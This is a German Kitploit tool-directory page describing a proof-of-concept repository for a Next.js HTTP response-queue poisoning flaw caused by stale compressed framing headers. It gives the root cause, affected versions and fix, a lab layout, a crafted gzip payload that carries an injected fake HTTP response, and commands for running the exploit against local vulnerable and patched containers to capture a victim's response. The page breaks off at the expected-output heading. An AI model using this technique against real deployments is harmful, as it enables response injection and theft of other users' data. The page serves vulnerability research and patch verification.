Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-119348 — Docker-Dual-Lab- und eigenständiger differenzieller PoC für CVE-2026-119348, eine Schwachstelle zur Vergiftung der Antwortwarteschlange durch veraltete komprimierte Framing-Daten in selbst gehostetem Next.js. | Kitploit
Tools/GitHubGitHub/aheybati/cve-2026-119348
SchwachstellenanalyseExploitationWebanwendungs-ExploitationWebsicherheitLabs & Praxis
GitHubaheybati/cve-2026-119348

CVE-2026-119348

Docker-Dual-Lab- und eigenständiger differenzieller PoC für CVE-2026-119348, eine Schwachstelle zur Vergiftung der Antwortwarteschlange durch veraltete komprimierte Framing-Daten in selbst gehostetem Next.js.

Repository anzeigen
2vor 1 TagNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 Das ultimative OSINT-Toolkit: Untersuchungsgraph, Konfidenzbewertung, Alias-Familien, Karte, Zeitleiste und Berichte. 49 Module, 400+ Websites, keine API-Schlüssel erforderlich.

    994
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    656
  • 3

    looking-glass

    anonghosty/looking-glass

    CSIRT-Plattform, die Shadowserver-Berichte in MongoDB einliest und sie als interaktive Karten, Analysen, Findings, Advisories und Executive-Dashboards wiedergibt.

    422
  • 4

    jumpserver

    jumpserver/jumpserver

    JumpServer ist eine Open-Source-Plattform für Privileged Access Management (PAM), die DevOps- und IT-Teams bedarfsgesteuerten und sicheren Zugriff auf SSH-, RDP-, Kubernetes-, Datenbank- und RemoteApp-Endpunkte über einen Webbrowser bietet.

    389
  • 5

    SafeLine

    chaitin/safeline

    Selbst gehosteter WAF und Reverse Proxy, der bösartigen HTTP-Verkehr filtert, SQL-Injection, XSS und Bot-Angriffe blockiert, mit Ratenbegrenzung und dynamischer HTML/JS-Verschlüsselung.

    333
  • 6

    ARTEX

    baarai/artex

    LLM-basierte Multi-Agenten-Plattform für autonome Penetrationstests mit Planer-/Worker-Agenten, Asset- und Explorationsgraphen, MITM-Verkehrsaufzeichnung und Schwachstellen-Retesting.

    330

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-119348 — HTTP-Antwortwarteschlangen-Vergiftung (veraltete komprimierte Framing-Angaben) in selbst gehostetem Next.js

GHSA: GHSA-pc58-hwjq-p385 CVSS 4.0: 6.3 (Mittel) — AV:N/AC:H/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N Produkt: Vercel Next.js (next), selbst gehostet (next start)

Dieses Repository enthält eine vollständige, deterministische Reproduktion (Docker-Lab + eigenständiger Exploit) der Schwachstelle zur clientübergreifenden Antwortinjektion und -offenlegung, die im Next.js-Sicherheitsrelease vom November 2026 behoben wurde. Zum Zeitpunkt der Erstellung dieses Labs existierte kein öffentlicher PoC (geprüft am 2026-11-20: GitHub-Repo-/Code-Suche nach den CVE- und GHSA-IDs → 0 Treffer).

Zusammenfassung der Schwachstelle

Nodes fetch (undici) dekomprimiert transparent einen Body mit content-encoding: gzip, behält aber die ursprünglichen Antwort-Header bei, einschließlich content-length: <compressed-size>. Wenn eine selbst gehostete Next.js-Anwendung eine solche abgerufene Upstream-Response unverändert zurückgibt — aus einem App-Router-Route-Handler, einem Fetch-Cache-Eintrag oder einer Middleware der Node-Runtime —, leiten anfällige Versionen von Next die veralteten komprimierten Framing-Angaben an den Client weiter, während der längere, dekomprimierte Body gestreamt wird:

HTTP/1.1 200 OK
content-encoding: gzip          ← forwarded
content-length: 70              ← framing of the COMPRESSED body (stale)
                                ← body actually sent: 116 decoded bytes
AAAA…A HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected
      └─ 70 bytes ─┘└──────────── 46 bytes of overflow ────────────┘

Node.js schreibt Body-Bytes über die deklarierte Content-Length hinaus, ohne einen Fehler zu melden, und hält die Keep-Alive-Verbindung offen. Jeder HTTP/1.1-Reverse-Proxy, der pipelined Requests auf einer gemeinsam genutzten Backend-Verbindung in eine Warteschlange einreiht (die im Advisory genannte Voraussetzung – z. B. HAProxy http-reuse always, verschiedene Node.js-basierte Proxies), demultiplext Backend-Antworten strikt anhand der deklarierten Framing-Angaben. Die überlaufenden Bytes werden daher als nächste Antwort in der Warteschlange geparst:

  • der direkt hinter dem Angreifer eingereihte Client erhält die vom Angreifer gefälschte Antwort (Response Injection), und
  • die echte Antwort des Opfers wird um einen Platz verschoben und an die nächste Anfrage des Angreifers ausgeliefert (Cross-Client Disclosure).

Betroffene Versionen

BranchAnfälligGepatcht
16.x (Active LTS)>= 16.0.0, <= 16.4.416.4.5
15.x (Maintenance LTS)<= 15.5.2815.5.29

Ursache (Datei:Zeile)

In vercel/next.js beim Tag v16.4.4:

  • packages/next/src/server/send-response.ts:24-70 — sendResponse() hängt jeden Header der Response des Handlers an (nur x-middleware-set-cookie wird übersprungen) und leitet anschließend den dekodierten Body weiter. Die weitergeleiteten content-length / content-encoding / transfer-encoding beschreiben den kodierten Body, den undici bereits dekodiert hat.
  • packages/next/src/server/next-server.ts:2009-2012 — die Middleware-Response-Schleife überspringt nur content-encoding und kopiert weiterhin die veralteten content-length / transfer-encoding.
  • Im Gegensatz dazu hatte die Edge-Runtime-Sandbox (packages/next/src/server/web/sandbox/sandbox.ts:23) diese drei Header bereits entfernt — die Lücke lag in den Node-Runtime-Pfaden.

Fix (v16.4.5, Commit 2842833, 15.x: 848ec29): beide Weiterleitungspfade verwerfen nun content-length, content-encoding und transfer-encoding (FORBIDDEN_HEADERS), sodass Node.js den dekodierten Body korrekt mit transfer-encoding: chunked framt.

Voraussetzungen (alle erforderlich, laut Advisory)

  1. Selbst gehostetes Next.js (next start) — auf der Vercel-Plattform nicht betroffen.
  2. Die App gibt eine vom Angreifer beeinflusste abgerufene Response unverändert zurück (jedes Weiterleitungs-/Relay-Muster: return fetch(url)), direkt oder über den Fetch-Cache.
  3. Ein vorgeschalteter HTTP/1.1-Reverse-Proxy, der pipelined Requests auf einer gemeinsam genutzten Backend- Verbindung in eine Warteschlange einreiht und dem vom Backend deklarierten Framing vertraut.
  4. Der Angreifer kontrolliert die bösartige Upstream-Antwort und kann ≥ 2 Requests auf der gemeinsam genutzten Backend-Verbindung platzieren (seine + die des Opfers).

Keine Authentifizierung, keine Benutzerinteraktion.

Lab / Reproduktion

lab/
├── app/                 # the victim Next.js app (source shared by both stacks)
│   └── app/
│       ├── proxy/route.ts          # GET /proxy?u=<url>        → return fetch(u, {cache:'no-store'})
│       ├── proxy-cached/route.ts   # GET /proxy-cached?u=<url> → return fetch(u, {next:{revalidate:3600}})
│       ├── api/secret/route.ts     # victim's private JSON (user alice + VICTIM_SECRET…)
│       └── page.tsx                # home page (HOME-PAGE-MARKER)
├── upstream/server.py   # attacker-controlled origin: fixed-point gzip payload
├── edgeproxy/proxy.py   # HTTP/1.1 proxy, ONE shared backend conn, pipelining, FIFO delivery
├── next.Dockerfile      # ARG NEXT_VERSION — 16.4.4 (vuln) vs 16.4.5 (fixed)
├── compose.vuln.yml     # project cvelab_cve-2026-119348_vuln  → 127.0.0.1:{8080,3000,9099}
├── compose.fixed.yml    # project cvelab_cve-2026-119348_fixed → 127.0.0.1:{8081,3001,9098}
├── up.sh / down.sh
└── sanity/              # node-level experiments backing the analysis

Die bösartige Upstream-Payload (lab/upstream/server.py): P = 'A'*n + "HTTP/1.1 200 OK\r\ncontent-length: 8\r\n\r\ninjected" mit einem so gewählten n, dass n == len(gzip(P)) gilt (ein Fixpunkt, hier n = 70, dekodiert = 116 B). Die App gibt daher eine Antwort aus, deren deklarierter Content-Length: 70 nur das A-Präfix abdeckt, und die 46 nachfolgenden Bytes sind eine vollständig geformte gefälschte HTTP-Antwort.

Ausführen

# 1. start both stacks (builds [email protected] and [email protected] images)
./lab/up.sh

# 2. run the exploit against both
python3 poc.py \
    --url         http://127.0.0.1:8080 \   # proxy → VULNERABLE app (16.4.4)
    --fixed-url   http://127.0.0.1:8081 \   # proxy → PATCHED app    (16.4.5)
    --upstream    http://127.0.0.1:9099 \   # attacker origin (host-mapped port of lab/upstream)
    --next-url    http://127.0.0.1:3000 \   # optional: direct app framing probe
    --next-fixed-url http://127.0.0.1:3001 \
    --out poc_result.json

# NOTE on --upstream: poc.py passes this URL to the victim app as the fetch target,
# but ALSO talks to it directly to plant/verify the payload. From the docker host both
# work with the mapped port above; if you run poc.py from inside the compose network,
# use http://upstream:8080 instead.

# 3. inspect delivery decisions of the pipelining proxy
docker logs cvelab_cve-2026-119348_vuln-proxy

poc.py ist eigenständig (Python 3, nur Standardbibliothek). Jede Runde stellt drei Anfragen auf der gemeinsamen Backend-Verbindung in die Warteschlange:

#1 attacker  GET /proxy?u=…/gzip?delay=0.4     ← poisoned framing (delay ⇒ deterministic pipelining)
#2 victim    GET /api/secret  (Cookie: session=victim-alice-7f3a9c)
#3 attacker  GET /                                       ← collects the displaced response

Erwartete Ausgabe

Tool herunterladen